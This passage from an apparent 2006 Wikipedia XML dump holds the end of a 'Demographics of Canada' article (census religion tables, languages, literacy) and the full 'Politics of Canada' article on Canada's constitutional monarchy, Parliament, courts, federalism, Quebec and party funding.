| rowspan=2 | 
! align=center colspan=2|&lt;big&gt;1991&lt;/big&gt;
! align=center colspan=2|&lt;big&gt;2001&lt;/big&gt;
! align=center rowspan=2 style=&quot;font-size: 70%&quot;|% change&lt;br&gt;(in numbers)
|-
! Number!! %!!Number!! %
|-
!align=left |Christian || ||81|| ||73
|-
|align=left | - [[Roman Catholic]]||12,203,625||45.2||12,793,125||43.2||+4.8
|-
|align=left | - [[Eastern Orthodoxy|Christian Orthodox]]||387,395||1.4||479,620||1.6||+23.8
|-
|align=left | - Total Other Christian||9,427,675||34.9||8,654,845||29.2||-8.2
|-
|align=left style=&quot;text-indent:30px&quot;| - [[United Church of Canada]]||3,093,120||11.3||2,839,125||9.5||-8.2
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Anglican Church of Canada]]||2,188,110||8.0||2,035,495||6.8||-7.0
|-
| align=left style=&quot;text-indent:30px&quot;|- [[Baptist]]||663,360||2.4||729,475||2.4||+10.0
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Lutheranism|Lutheran]]||636,205||2.3||606,590||2.0||-4.7
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Presbyterianism|Presbyterian]]||636,295||2.3||409,830||1.4||-35.6
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Pentecostal]]||436,435||1.6 ||369,475||1.2 ||-15.3
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Mennonite]]||207,970||0.8 ||191,465||0.6 ||-7.9
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Jehovah's Witnesses]]||168,375||0.6 ||154,745||0.5 ||-8.1
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Mormon]]||100,770||0.4 ||104,750||0.3||+3.9
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Salvation Army]]||112,345||0.4 ||87,785||0.3||-21.9
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Christian Reformed Church in North America]]||84,685||0.3 ||76,665||0.3||-9.5
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Evangelical Missionary Church of Canada]]||44,935||0.2 ||66,705||0.2 ||+48.4
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Christian and Missionary Alliance]]||59,365||0.2 ||66,280||0.2 ||+11.9
|-
|align=left style=&quot;text-indent:30px&quot;| - [[Adventists]]||52,365||0.2 ||62,875||0.2 ||+20.1
|-
|align=left style=&quot;text-indent:30px&quot;| - Christian, not included elsewhere&amp;sup1;||353,040||1.3||780,450||2.6||+121.1
|-
!align=left|No religion||3,333,245||12.3||4,796,325||16.2||+43.9
|-
!align=left|Other
|-
|align=left| - [[Islam|Muslim]]||253,265||0.9||579,640||2.0||+128.9
|-
|align=left| - [[Judaism|Jewish]]||318,185||1.2||329,995||1.1||+3.7
|-
|align=left| - [[Buddhism|Buddhist]]||163,415||0.6||300,345||1.0||+83.8
|-
|align=left| - [[Hinduism|Hindu]]||157,015||0.6||297,200||1.0||+89.3
|-
|align=left| - [[Sikhism|Sikh]]||147,440||0.5||278,415||0.9||+88.8
|-
|align=left colspan=6 style=&quot;font-size:75%&quot;|&amp;sup1; Includes persons who report only “Christian”, only &quot;Protestant&quot;, and those in denominations less than 60,000&lt;br&gt;* For comparability purposes, 1991 data are presented according to 2001 boundaries.
|}
&lt;br clear=all&gt;
&lt;br&gt;

Source:
*http://www12.statcan.ca/english/census01/Products/Analytic/companion/rel/contents.cfm

Notes:
* [[Catholic]] includes [[Roman Catholic]], [[Eastern Catholic]], [[Polish National Catholic Church]], and [[Old Catholic]]
* Other Religions also includes [[Bahá'í Faith|Bahá'í]], [[Eckankar]], [[Jainism]], [[Shinto]], [[Taoism]], [[Zoroastrianism]], [[Native American mythology|Aboriginal belief systems]], [[Neo-Paganism]], [[Wicca]], Unity - New Thought - Pantheist, [[Scientology]], [[Rastafari movement]], [[New Age]], [[Gnostic]], [[Satanism]], etc.)
* No Religion includes [[Atheism]], [[Agnosticism]], [[Humanism]], [[Darwinism]], et cetera

==Languages==
:''Main article: [[Language in Canada]]''
*[[English language|English]] 59.3% (official), 
*[[French language|French]] 23.2% (official), 
*[[Italian language|Italian]] 1.6%, 
*[[German language|German]] 1.5%, 
*[[Cantonese language|Cantonese]] 1.1%

==Literacy==
* ''definition:'' age 15 and over can read and write
* ''total population:'' 97% (1986 est.)
* ''male:'' NA%
* ''female:'' NA%

==See also==
* [[Canada]]
* [[Aboriginal peoples in Canada]]
* [[Demolinguistics of Canada]]
* [[Canada 2001 Census]]
* [[List of Canadian provinces and territories by population]]
* [[Religion in Canada]]

[[Category:Demographics of Canada|*]]

[[bg:Население на Канада]]
[[es:Demografía de Canadá]]
[[fr:Démographie du Canada]]
[[pt:Demografia do Canadá]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Canada</title>
    <id>5194</id>
    <revision>
      <id>42059052</id>
      <timestamp>2006-03-03T14:52:12Z</timestamp>
      <contributor>
        <ip>192.237.29.254</ip>
      </contributor>
      <comment>/* National unity */</comment>
      <text xml:space="preserve">{{Canadian politics}}[[Canada]] is a [[constitutional monarchy]] and a [[Commonwealth Realm]] (see [[Monarchy in Canada]]) with a [[federation|federal system]] of [[Parliament|parliamentary government]], and strong [[Democracy|democratic]] traditions. Many of the country's legislative practices derive from the unwritten practices of and precedents set by the [[United Kingdom]]'s [[Westminster]] parliament; however, Canada has evolved variations. Party discipline in Canada is stronger than in the United Kingdom, and more of the votes are considered confidence votes, which tends to diminish the role of non-cabinet [[Member of Parliament|Members of Parliament]] (MPs), known as [[backbenchers]]. Backbenchers can, however, exert their influence by sitting in parliamentary committees, like the Public Accounts Committee or the National Defence Committee.

The [[political system]] under which Canada operates, known as the [[Westminster system]], was enshrined by the [[British Parliament]] in the [[Constitution Act, 1867]] (also known as the [[British North America Act]]), but the federal model and division of powers were devised by Canadian politicians. Particularly after [[World War I]], citizens of the self-governing &quot;[[dominion]]s&quot; began to develop a strong sense of identity, and in the [[Balfour Declaration, 1926]], the British government expressed its intent to grant full autonomy to these dominions. Thus in [[1931]] the British Parliament passed the [[Statute of Westminster 1931|Statute of Westminster]] giving legal recognition to the autonomy of Canada and other dominions. Canadian [[politicians]] were unable to obtain consensus on a process for amending the constitution until 1982. Therefore, amendments to Canada's constitution required the approval of the British Parliament. Similarly, the [[Judicial Committee of the Privy Council]] in Britain continued to make the final decision on legal issues until 1949, such as whether a woman could be appointed to the Senate. {{see|Persons Case}}

Canada's politics are evolving.  The size of the federal public service and its operational powers are felt by some to qualify the Public Service as an Operational Branch of government.  As well, because of the [[Canadian Charter of Rights and Freedoms]] and [[judiciary|rulings of courts]] on legislation, Canada is becoming more like a [[constitutionalism|constitutional democracy]], as opposed to the [[parliamentary democracy]] of its design.

==Political information (summary)==
===[[List of countries|Country name]]===
* ''conventional/legal name:'' Canada
* ''official title (disused):'' Canada
{{see|Canada's name}}

'''[[Country code|Data code]]:''' CA  —  '''[[Internet TLD]]:''' [[.ca]]

'''[[Government]] type:''' [[constitutional monarchy]]; [[federation|federal]] [[parliament]]ary [[democracy]]

'''[[Capital]]:''' [[Ottawa, Ontario]]

'''[[Federation#List_of_federations|Administrative divisions]]:''' 10 [[Provinces of Canada|provinces]] and 3 [[Territories of Canada|territories*]]; [[Alberta]], [[British Columbia]], [[Manitoba]], [[New Brunswick]], [[Newfoundland and Labrador]], [[Northwest Territories]]*, [[Nova Scotia]], [[Nunavut]]*, [[Ontario]], [[Prince Edward Island]], [[Quebec]], [[Saskatchewan]], [[Yukon Territory]]*

'''[[National holiday]]:''' [[Canada Day]], [[July 1]] ([[1867]])

'''[[Constitution of Canada|Constitution]]:''' [[Westminster system]], based on unwritten [[Constitutional convention (political custom)|conventions]] and written [[Constitution Act, 1982]] (including the [[Canadian Charter of Rights and Freedoms]]) and the [[Constitution Act, 1867]] (formerly the [[British North America Act, 1867]]).  

'''[[Legal system]]:''' except for [[criminal law]] (under sole federal jurisdiction), it is based on [[English law|English]] [[common law]], except in Quebec, where a [[civil law (legal system)|civil law]] system, centred on the [[Civil Code of Quebec]] and based on the Custom of Paris in pre-revolutionary France; accepts compulsory [[International Court of Justice|ICJ]] jurisdiction, with reservations. ''See: [[Law of Canada]]''

'''[[Suffrage]]:''' Citizens aged 18 years or older. Only two citizens in Canada cannot vote; the [[Chief Electoral Officer (Canada)|Chief Electoral Officer]], and the Deputy Chief Electoral Officer.
===[[Executive branch]]===
* ''[[Head of state]]:'' [[Elizabeth II of the United Kingdom|Queen Elizabeth II]], [[Queen of Canada]] (since [[February 6]], [[1952]]).
* ''[[de facto]] [[Head of state]]:'' [[Governor General of Canada|Governor General]] [[Michaëlle Jean]] (since [[September 27]], [[2005]]).
* ''[[Head of government]]:'' [[Prime Minister of Canada|Prime Minister]] [[Stephen Harper]] (since [[February 6]], [[2006]]).
* ''[[Cabinet]]:'' [[The Ministry|Ministers]] (usually around 30) chosen by the Prime Minister to lead various ministries and agencies, generally with regional representation.  Most, but not all, will be members of the leader's own party in the House of Commons. {{see|Cabinet of Canada}}
* ''[[Election]]s:'' The monarchy is hereditary.  The governor general is appointed by the monarch on the advice of the prime minister for a five-year term. Following legislative elections, the leader of the majority party in the House of Commons is automatically designated by the governor general to become prime minister.
{{see|Monarchy in Canada|Elections in Canada}}

===[[Legislative branch]]===
The [[bicameral]] [[Parliament of Canada|Parliament]] consists of the [[Canadian Senate|Senate]] and the [[Canadian House of Commons|House of Commons]]; by definition, Parliament also includes the monarch. Currently the Senate is limited to 104 members, who are appointed by the governor general on the advice of the prime minister to serve until age 75.  The number of senators was exceeded once when Prime Minister [[Brian Mulroney]] sought to ensure the passage of a [[Goods and Services Tax (Canada)|national sales tax]].  The House of Commons currently has 308 members elected by a plurality of popular votes in [[electoral district (Canada)|separate constituencies (ridings)]] for terms that do not exceed five years.  The five-year term has been exceeded once when Prime Minister [[Robert Borden]] perceived the need during [[World War I]].
* ''Elections:'' direct [[plurality]] representation in House of Commons - last held [[January 23]], [[2006]]
* ''Election results:'' percent of vote by party - [[Conservative Party of Canada|Conservative]] 36.3%, [[Liberal Party of Canada|Liberal Party]] 30.2%, [[New Democratic Party]] 17.5%, [[Bloc Québécois]] 10.5%, [[Green Party of Canada|Green Party]] 4.5%, other 5.6%; seats by party - Conservative Party 124, Liberal Party 103, Bloc Québécois 51, New Democratic Party 29, Independent 1
* ''current seats by party:'' ''See [[Canadian House of Commons]], [[Canadian Senate]]''
===[[Political party|Political parties]], [[politicians|leaders]], and status===
(By number of elected representatives in House of Commons)
*[[Conservative Party of Canada]] - [[Stephen Harper]] ([[minority government]])
*[[Liberal Party of Canada]] - [[Paul Martin, Jr.|Paul Martin]] ([[Bill Graham]], acting leader) ([[parliamentary opposition|official opposition]])
*[[Bloc Québécois]] - [[Gilles Duceppe]]
*[[New Democratic Party]] - [[Jack Layton]]
===[[Judiciary|Judicial branch]]===
[[Supreme Court of Canada]], judges are appointed by the governor general on the advice of the Cabinet with parliamentary committee review.
===Government departments and structure===
*Notable departments include [[Department of Finance (Canada)|Finance]], [[Canada Revenue Agency|Revenue]], [[Human Resources and Skills Development Canada|Human Resources and Skills Development]], [[Department of National Defence (Canada)|National Defence]], [[Public Safety and Emergency Preparedness Canada|Public Safety and Emergency Preparedness]], and [[Department of Foreign Affairs (Canada)|Foreign Affairs]]/[[Department of International Trade (Canada)|International Trade]].
{{see|Structure of the Canadian federal government}}
===Notable [[Crown corporation]]s and other government agencies===
*[[Canadian Broadcasting Corporation]] (CBC)
*[[VIA Rail]]
*[[Elections Canada]]
*[[Canada Council]]
*[[Canada Post]]

'''[[International organization]] participation:''' ABEDA, ACCT, AfDB, [[Asia-Pacific Economic Cooperation|APEC]], AsDB, Australia Group, BIS, C, CCC, [[Caribbean Development Bank|CDB]] (non-regional), [[Council of Europe]] (observer), [[Commonwealth of Nations]], EAPC, EBRD, ECE, ECLAC, [[European Space Agency|ESA]] (cooperating state), [[Food and Agriculture Organization|FAO]], [[La Francophonie]], [[G-7]], [[G-10]], IADB, IAEA, IBRD, ICAO, [[International Chamber of Commerce|ICC]], [[International Criminal Court|ICCt]], [[International Court of Justice|ICJ]], ICFTU, ICRM, [[International Development Association|IDA]], IEA, IFAD, IFC, IFRCS, IHO, [[International Labour Organisation|ILO]], [[International Monetary Fund|IMF]], IMO, [[Inmarsat]], [[Intelsat]], [[Interpol]], [[International Olympic Committee|IOC]], IOM, ISO, ITU, [[Kyoto Protocol]], MINURCA, MINURSO, MIPONUH, MONUC, NAM (guest), [[North American Free Trade Agreement|NAFTA]], [[North Atlantic Treaty Organization|NATO]], NEA, NSG, [[Organization of American States|OAS]], [[Organisation for Economic Co-operation and Development|OECD]], OPCW, [[Organization for Security and Co-operation in Europe|OSCE]], PCA, [[United Nations|UN]], [[United Nations Security Council|UN Security Council]] (prior/temporary), UNCTAD, UNDOF, [[UNESCO]], UNFICYP, [[UNHCR]], UNIDO, UNIKOM, UNMIBH, UNMIK, UNMOP, UNTAET, UNTSO, UNU, UPU, WCL, WFTU, [[World Health Organization|WHO]], WIPO, WMO, [[World Trade Organization|WTO]], [[Zangger Committee]]

'''[[Flag]] description:''' a red [[maple]] leaf centred on a [[Canadian pale]]: three vertical bands of red (hoist side), white (double width, square), and red, with a length twice that of its height. {{see|Flag of Canada}}

==Principal government officials*==
{{office-table}}
|[[Queen of Canada]]
|[[Elizabeth II of the United Kingdom|Elizabeth II]]
|
|[[6 February]] [[1952]]
|-
|[[Governor General of Canada|Governor General]]
|[[Michaëlle Jean]]
|
|[[27 September]] [[2005]]
|-
|[[Prime Minister of Canada|Prime Minister]]
|[[Stephen Harper]] &lt;!--Harper does not become PM until he is sworn in as PM--&gt;
|[[Conservative Party of Canada|Conservative]]
|[[6 February]] [[2006]]
|-
|[[Deputy Prime Minister of Canada|Deputy Prime Minister]]
| TBA
|[[Conservative Party of Canada|Conservative]]
|[[6 February]] [[2006]]|-
|-
 
:Provincial [[Lieutenant-Governor]]s, [[Premier (Canada)|Premiers]]
{{Template:Cabinet of Canada}}

==Executive branch==
[[Elizabeth II of the United Kingdom|Elizabeth II]] as [[Queen of Canada]] is the repository of executive power, which she normally does not exercise herself. As expressed in the constitution, &quot;the Executive Government and Authority of and over Canada is hereby declared to continue and be vested in the Queen&quot;. The government acts in her name. The term ''[[The Crown]]'' is usually used to represent the power of the monarchy. Government ministers are ministers of the Crown. Criminal prosecutions are made by Crown prosecutors in the name of the monarch.

Since the monarch does not reside in Canada, she appoints a [[Governor-General of Canada|governor general]] to represent her and exercise her powers. The person who fills this role is selected on the advice of the prime minister. &quot;Advice&quot; in this sense is a choice without options since it would cause a major political crisis if the prime minister's advice were not followed. This convention protects the monarchy. As long as the monarch is only following the advice of her ministers, she is not held personally responsible for the decisions of the government. The governor general has no term limit, but the practice in recent decades is for the governor general to be replaced after about five years in office.

The prime minister is appointed by the Governor General, but to ensure the continuity of a stable government this person will always be the one who has the confidence of the [[Canadian House of Commons|House of Commons]] to lead the government. In practice, the position usually goes to the leader of the strongest political party in the Commons which usually has most of the seats in the [[lower house]] and forms a [[majority government]]. On several occasions in Canadian history no party has had a majority in the House of Commons and thus one party, usually the largest, forms a [[minority government]]. However, the prime minister holds office until he or she resigns or is removed by the Governor General; therefore, the party that was in government before the election may attempt to continue to govern if they so desire, even if they hold fewer seats than another party. [[Coalition government]]s are rare at the federal level: Canada has only once had a coalition government, the [[Union Government]] of Sir [[Robert Borden]] during [[World War I]].

Political parties are private organizations that are not mentioned in the constitution. By the convention of [[responsible government]], the prime minister and most of his cabinet are members of Parliament so they can answer to Parliament for their actions. But, constitutionally, any adult Canadian is eligible for the jobs, and prime ministers have held office after being elected leader but before taking a seat in the Commons ([[John Turner]], for example), or after being defeated in their constituencies. The prime minister selects ministers to head the various government departments and form a [[Cabinet of Canada|cabinet]]. The members of the Cabinet remain in office at the pleasure of the prime minister. If the Commons passes a [[motion of no confidence]] in the government, the prime minister and his cabinet are expected either to resign their offices or to ask for Parliament to be dissolved so that a general election can be held. To avoid non-confidence voting, strong [[party discipline]] has long been an established fact of life in the Canadian parliament, in which members of a party, especially members of the ruling party, are strongly urged always to vote the &quot;party line&quot; or face consequences, up to expulsion from the party's caucus. While the government likes to keep strong control due to the issue of motions of no confidence in (unwritten) practice the only time it is required is when a money bill (financial or budget) does not pass. However if a government finds that it can not pass any legislation it is common to hold a vote of confidence. But the failed passage of most bills does not require a vote of confidence, contrary to how it is often portrayed. The exception would be if the Prime Minister or the government declared that if a bill did not pass they would consider it a confidence issue (hence how backbenchers are often held to strict party voting).

While a member of a governing party is free to vote their conscience, they are constrained by the fact that voting against the party line (especially in confidence votes) might lead to expulsion from their party. Such an expulsion would lead to loss of election funding and the former party backing an alternate candidate. However, in the 2004 election one independent member of parliament was elected. [[Chuck Cadman]] had sought nomination under the Conservative Party of Canada having held a seat in one of the two founding parties. He did not win the nomination but won the election for his seat. He was the first independent member of parliament to be ''elected'' in recent memory, though [[Andre Arthur]] was elected as an independent in 2006. Most independent members were elected under a party but either chose to leave it or were expelled. After the [[Conservative Party of Canada]] was formed, a number of members of the [[Progressive Conservative Party of Canada|Progressive Conservative Party]] and the [[Canadian Alliance]] party chose to sit as independents.

When there are enough seats for another party to form a government after the resignation of a prime minister, the Governor General may ask the other party to try and form the government. This became clear after the [[King-Byng Affair]] in 1926. In practice, it is unlikely there could be a separate and new alliance created.

==Legislative branch: Parliament==
Canada's Parliament consists of the monarch and a [[bicameral]] [[legislature]]: an elected [[Canadian House of Commons|House of Commons]] and an appointed [[Canadian Senate|Senate]]. The Governor General appoints Canadians, who are recommended by the Prime Minister, to the Senate according to a formula that distributes the seats among the provinces. In practice, legislative power rests with the party that has the majority of seats in the House of Commons, which is elected from 308 constituencies (or electoral districts) for a period not to exceed five years. Canada's highly disciplined political parties and [[First Past the Post electoral system|first-past-the-post electoral system]] have, since the 1970s, usually given one political party control of the Commons. The five-year period has only been extended once, in 1916.  The prime minister may ask the governor general to dissolve Parliament and call new elections at virtually any time. That request was refused only once, during the minority government of 1926. By custom, prime ministers usually call new elections after four years in power. Because the [[First Past the Post electoral system|first-past-the-post electoral system]] leads to a one-party rule for a protracted amount of time, it has led to calls for championing a different kind of electoral system, such as [[proportional representation]] or [[Single Transferable Vote|STV]].

Members of the Senate do have some power, however. It is usually the greatest after a party has been in power a long time (and hence nominated Senators that would most likely support their policies), and a new party forms the government. [[Brian Mulroney]] used a special provision to recommend the appointment of an additional eight senators so that he could get bills he wanted passed through the Senate. Also, after the criminalization of abortion was decided to be against the [[Charter of Rights and Freedoms]] by the Supreme Court of Canada, a new bill was prepared by [[Kim Campbell]], who was then Minister of Justice. While it passed in the House of Commons, there was a tied vote in the Senate. In the case of tied votes, the bill is not passed. For more on this particular case, see the page on [[Abortion in Canada|abortion in Canada]].

Since 1867, there have been only three [[Referenda in Canada|Canada-wide referenda]].

==Political parties and elections==
{{elect|List of political parties in Canada|Elections in Canada}}
{{main|Canadian federal election, 2006}}
{{Canadian federal election, 2006}}

==Judicial branch==
Criminal law, most of which is contained in the federal ''[[Criminal Code of Canada|Criminal Code]]'' (R.S.C. 1985, Chapter C-46), is uniform throughout the nation and is under federal jurisdiction. Civil law is based on the [[common law]] of [[England]], except in [[Quebec]], to which Britain granted the right in [[1774]] to retain the French [[civil code]].  While legislation regarding non-criminal matters is, generally speaking, different from province to province, there are some non-criminal legislation, such as the federal ''Divorce Act'' (R.S.C. 1985, Chapter 3 (2nd Supp.)), that is applicable throughout the nation. Justice is administered by federal, provincial, and municipal courts.

The [[Supreme Court of Canada]] is the court of final jurisdiction. The Supreme Court has nine justices, led by the [[Chief Justice of Canada]], and are appointed by the [[Governor General of Canada|Governor General]].  This court hears appeals from decisions rendered by the various appellate courts from the provinces and territories.  A trial-level court from a common law province is required to follow previous decisions from both the Supreme Court of Canada and the appellate court of its respective province or territory.  In contrast, a Quebec trial-level court may treat judgements from higher courts to be persuasive but not binding.  See [[Courts of Canada]].

==Jurisdiction==

Residual power — that is, all powers not specified in the constitution — resides with the federal government; the original intent of this provision was to avoid the sectionalism which had resulted in the [[American Civil War]]. However, in 1895 the [[Judicial Committee of the Privy Council]] ruled that the federal government could exercise its residuary power only in wartime. As a result, responsibilities for new functions of government such as labour law or social welfare had to be accommodated under powers specified in the British North America Act. Many ended up being assigned to [[provinces and territories of Canada|provincial]] areas of jurisdiction, so that Canada today is a highly decentralized federation. Further decentralization of functions has been implemented to accommodate provincial aspirations, chiefly those of [[Quebec]], as described below. However, all provinces have the right to assume the powers now exercised only by Quebec, and [[Alberta]] and [[Ontario]] have expressed interest in doing so.

Each province has a [[Lieutenant-Governor]], a [[Premier (Canada)|Premier]], and a single ([[unicameral]]), elected legislative chamber. Provincial governments operate under a parliamentary system similar in nature to that of the federal government, with the premier chosen in the same manner as the Canadian prime minister. The [[lieutenant-governor]], recommended by the prime minister and then appointed by the governor general, represents the Crown in each province. Lieutenant-governors, like the governor general, have broad powers that are only rarely used.

==Federal-provincial relations==

Federal-provincial (or intergovernmental, formerly dominion-provincial) relations is a regular issue in Canadian politics: Quebec wishes to preserve and strengthen its distinctive nature, western provinces desire more control over their abundant natural resources, especially energy reserves; industrialized [[Central Canada]] is concerned with its manufacturing base, and the Atlantic provinces strive to escape from being less affluent than the rest of the country.

In order to ensure that social programs such as health care and education are funded consistently throughout Canada, the &quot;have-not&quot; (poorer) provinces receive a proportionately greater share of federal &quot;[[equalization payments|transfer (equalization) payments]]&quot; than the richer, or &quot;have&quot;, provinces do; this has been somewhat controversial. The richer provinces often favour freezing transfer payments, or rebalancing the system in their favour, based on the claim that they already pay more in taxes than they receive in federal government services, and the poorer provinces often favour an increase on the basis that the amount of money they receive is not sufficient for their existing needs.

Particularly in the past decade, some scholars have argued that the federal government's exercise of its unlimited constitutional spending power has contributed to strained federal-provincial relations.  This power, which allows the federal government to spend the revenue it raises in any way that it pleases, allows it to overstep the constitutional division of powers by creating programs that encroach on areas of provincial jurisdiction.  The federal spending power is found in s. 102 of the ''[[British North America Act 1867]]'', now known as the ''Constitution Act, 1867''.  A prime example of an exercise of the spending power is the ''[[Canada Health Act]]'', which is a conditional grant of money to the provinces.  Delivery of health services is, under the Constitution, a provincial responsibility.  However, by making the funding available to the provinces under the Canada Health Act contingent upon delivery of services according to federal standards, the federal government has the ability to influence health care delivery.  This spending power, coupled with Supreme Court rulings — such as ''Reference Re Canada Assistance Plan (B.C.)'' — that have held that funding delivered under the spending power can be reduced unilaterally at any time, has contributed to strained federal-provincial relations.

===Quebec and Canadian politics===
Except for three short-lived transitional or minority governments, Prime Ministers from Quebec have led Canada continuously since 1967. Quebecers have led both Liberal and Conservative governments in this period.

Prime Ministers are now expected to be fluent in English and at least functional in French. In selecting leaders, political parties give preference to candidates who are fluently bilingual.

Also, by law, judges from Quebec must hold three of the nine positions on the [[Supreme Court of Canada]]. This representation makes sure that at least three judges have sufficient experience with the civil law system to treat cases involving Quebec laws. 

====Bilingualism====

One of the effects of Canada being bilingual is that the Prime Minister is usually able to speak in their second language and for many years Canada has had bilingual Prime Ministers.

The most striking example of what this can result in occurred when [[Brian Mulroney]] was Prime Minister. He often said one thing to reporters in English and something that was different and actually contradictory in French. Even those that were not bilingual (and 17% of the country is considered bilingual and many more would be able to follow a simple conversation with reporters) were made aware of this in news coverage. However for those who could actually understand the difference it was quite striking. While Brian Mulroney was best known for doing this, other Prime Ministers have also been self-contradictory at times between their French and English comments.

==National unity==

Canada has a long and storied history of secessionist movements (see [[Secessionist movements of Canada]]). National unity has been a major issue in Canada since the forced union of the Canadas in 1840.

The predominant and lingering issue concerning Canadian national unity has been the ongoing conflict between the French-speaking majority in Quebec and the English-speaking majority in the rest of Canada, popularly referred to as &quot;[[Two Solitudes|two solitudes]]&quot;. Quebec's continued demands for recognition of its &quot;[[distinct society]]&quot; through special political status has led to attempts for constitutional reform, most notably with the failed attempts to amend the constitution through the [[Meech Lake Accord]] and the [[Charlottetown Accord]] (the latter of which was rejected though a national [[referendum]]).

Since the [[Quiet Revolution]], sovereignist sentiments in Quebec have been variably stoked by the [[Canada Act 1982|patriation of the Canadian constitution in 1982]] (without Quebec's consent) and by the failed attempts at constitutional reform.  Two provincial referenda, in 1980 and 1995, rejected proposals for sovereignty with majorities of 60% and 50.6% respectively.  Given the narrow federalist victory in 1995, a reference was made by the [[Jean Chrétien|Chrétien]] government to the [[Supreme Court of Canada]] in 1998 [[Re Secession of Quebec|regarding the legality of a unilateral secession of Quebec (or any province)]]; this resulted in the passage of the [[Clarity Act]] in 2000.

Fears over the sovereignty of Quebec have recently gained renewed importance as the [[Bloc Québécois]], a sovereignist party that had, until recently, been seen as a spent force, have seen their fortunes reversed by revelations of alleged massive corruption and misspending in Quebec by the Liberal Party of Canada.  Their increased support has come at the expense of the Liberal Party, the only viable federalist party in the province.

To stem apparent &quot;Western alienation&quot; by [[Central Canada]] and, particularly, [[Ottawa]] (through [[metonymy]]), there have also been renewed calls in Alberta to implement a &quot;firewall&quot; — as outlined in the [[Alberta Agenda]] — in order to further reduce the presence of the federal government in that province.  Such an option, advocated by the likes of [[Ted Morton]] and [[Stephen Harper]], would see Alberta take steps to make full use of its constitutional powers, much as Quebec has done.

Similarly, recent remarks made by [[Ontario]]'s [[Premier]] [[Dalton McGuinty]] has spoken of a growing dissatisfaction with [[Canadian Confederation]], especially with the fiscal imbalance that plagues the relationship between the province and the federal government.  More than $23 billion CDN is given to the federal government each year than returned.

==Political conditions==
Paul Martin's Liberal Party won a minority victory in the June [[Canadian federal election, 2004|2004 general elections]]. In December of [[2003]], Martin had succeeded fellow Liberal Jean Chrétien, who had, in 2000, become the first Prime Minister to lead three consecutive majority governments since [[1945]]. However, in 2004 the Liberals lost seats in Parliament, going from 172 of 301 Parliamentary seats to 135 of 308, and from 40.9% to 36.7% in the popular vote. The [[Canadian Alliance]], which did well in western Canada in the 2000 election, but was unable to make significant inroads in the East, merged with the [[Progressive Conservative Party of Canada|Progressive Conservative Party]] to form the [[Conservative Party of Canada]] in late [[2003]]. They proved to be moderately successful in the 2004 campaign, gaining seats from a combined Alliance-PC total of 78 in 2000 to 99 in 2004. However, the new Conservatives lost in popular vote, going from 37.7% in 2000 down to 29.6%.
 
This was the first minority government in Canada federally since 1979-1980. That government, led by [[Joe Clark]], lasted only seven months.  The situation, however, was different from the current one. The Clark government was elected in part because many voters did not want to support the Liberal party, but they did not expect that the Progressive Conservatives would win enough seats for a minority government. In contrast, polls taken during the 2004 election showed that many Canadians wanted a minority government.

Minority governments are not always short-lived. While they have not generally lasted four years, there have been minority governments in the time before 1979 that were fairly stable and able to pass legislation. Minority government situations in Canada may become somewhat difficult to manage though, as in the past there were only three parties that had a significant number of seats in parliament (fourth parties were at times represented in small numbers), although the [[Third party (Canada)|third party]] has changed over time. This meant an alliance between the governing and third parties would have a solid majority. Since the 1930s, the third party was usually the [[Cooperative Commonwealth Federation]] or later the [[New Democratic Party]], which was created when an alliance was formed between labour unions and the Co-operative Commonwealth Federation. The [[Social Credit Party of Canada]] was the third party at times. Before this, there were other parties that had significant influence; such as the [[Progressive Party of Canada|Progressive Party]] in the 1920s.

No such governing coalition was able to form in the 38th Parliament.  

===Party funding reform===

Funding changes were made by the last Liberal government to deal with the issues of fair access to funding for parties running for seats in the federal parliament. Previously the Liberal Party and the Progressive Conservative Party had benefited the most from the system as they received much more business funding than two other parties, the [[New Democratic Party]] and the [[Bloc Québécois]]. The New Democratic Party traditionally got less funding from business, but receives a larger percentage of union funding than the Liberal and PC parties. This led to the net result of the previous system favouring parties that were more likely to get business contributions. There was no fifth party that was receiving much of its money in this manner, and the [[Green Party of Canada]] functioned mainly through personal donations. The NDP also had to depend in a greater manner on personal contributions. It should be noted that personal donations to federal parties and campaigns benefit from tax credits, although the amount of tax relief depends on the amount given. Also only people paying taxes receive any benefit from this.

A good part of the reasoning behind the change in funding was that union or business funding should not be allowed to have as much impact on federal election funding as these are not contributions from citizens and are not evenly spread out between parties. They are still allowed to contribute to the election but only in a minor fashion.  The new rules stated that a party had to receive 2% of the vote nationwide in order to receive the general federal funding for parties. Each vote garnered a certain dollar amount for a party (approximately $1.75) in future funding. Because this system had not been use before approximations were made based on previous elections. The NDP received more votes than expected (its national share of the vote went up) while the new Conservative Party of Canada received fewer votes than had been estimated and has been asked to refund the difference. The Liberal party also likely received fewer votes than expected.  Figures are not yet known, but it is believed they too will need to refund money. It should be noted that the province of [[Quebec]] was the first province to implement a similar system of funding many years before the changes to funding of federal parties.

Federal funds are disbursed quarterly to parties, beginning at the start of 2005. For the moment, this disbursement delay leaves the NDP and the Green Party in a better position to fight an election, since they rely more on individual contributors than federal funds. (The Green party now receives federal funds, since it for the first time received a sufficient share of the vote in the 2004 election.)

====Additional impact====

Federal ridings vary in competitiveness. Some are &quot;safe&quot; seats, (known as [[Stronghold (Canadian political term)|Strongholds]] in Canada) like [[Ottawa-Vanier]], which has voted in a Liberal MP every election for over 50 years. The changes to the campaign funding structure likely had an impact on voting, and certainly had an impact on electoral strategy.

Strongholds present two problems for less-competitive parties. The first is &quot;strategic voting.&quot; in which supporters of less-competitive parties vote for the candidate of a party they prefer less, but which is more competitive. By doing so they might defeat the MP holding the &quot;safe&quot; seat, who they may prefer least of all. The second problem that of apathy. Supporters of less-competitive parties may not see the point in voting for their preferred party if their party's candidate has no hope of winning. But rather than casting a &quot;strategic&quot; ballot, they simply stay home.

However, under the new rules, the strategy of less-competitive parties became to persuade their supporters that votes for unsuccessful candidates would increase allocated funding.  Often the amount was explained to the voters. So even if the seat was clearly safe, their voting would have a greater impact than it had in the past.  The smaller the party, the stronger this argument became. It is likely this factor which increased the Green Party's share of the national vote.

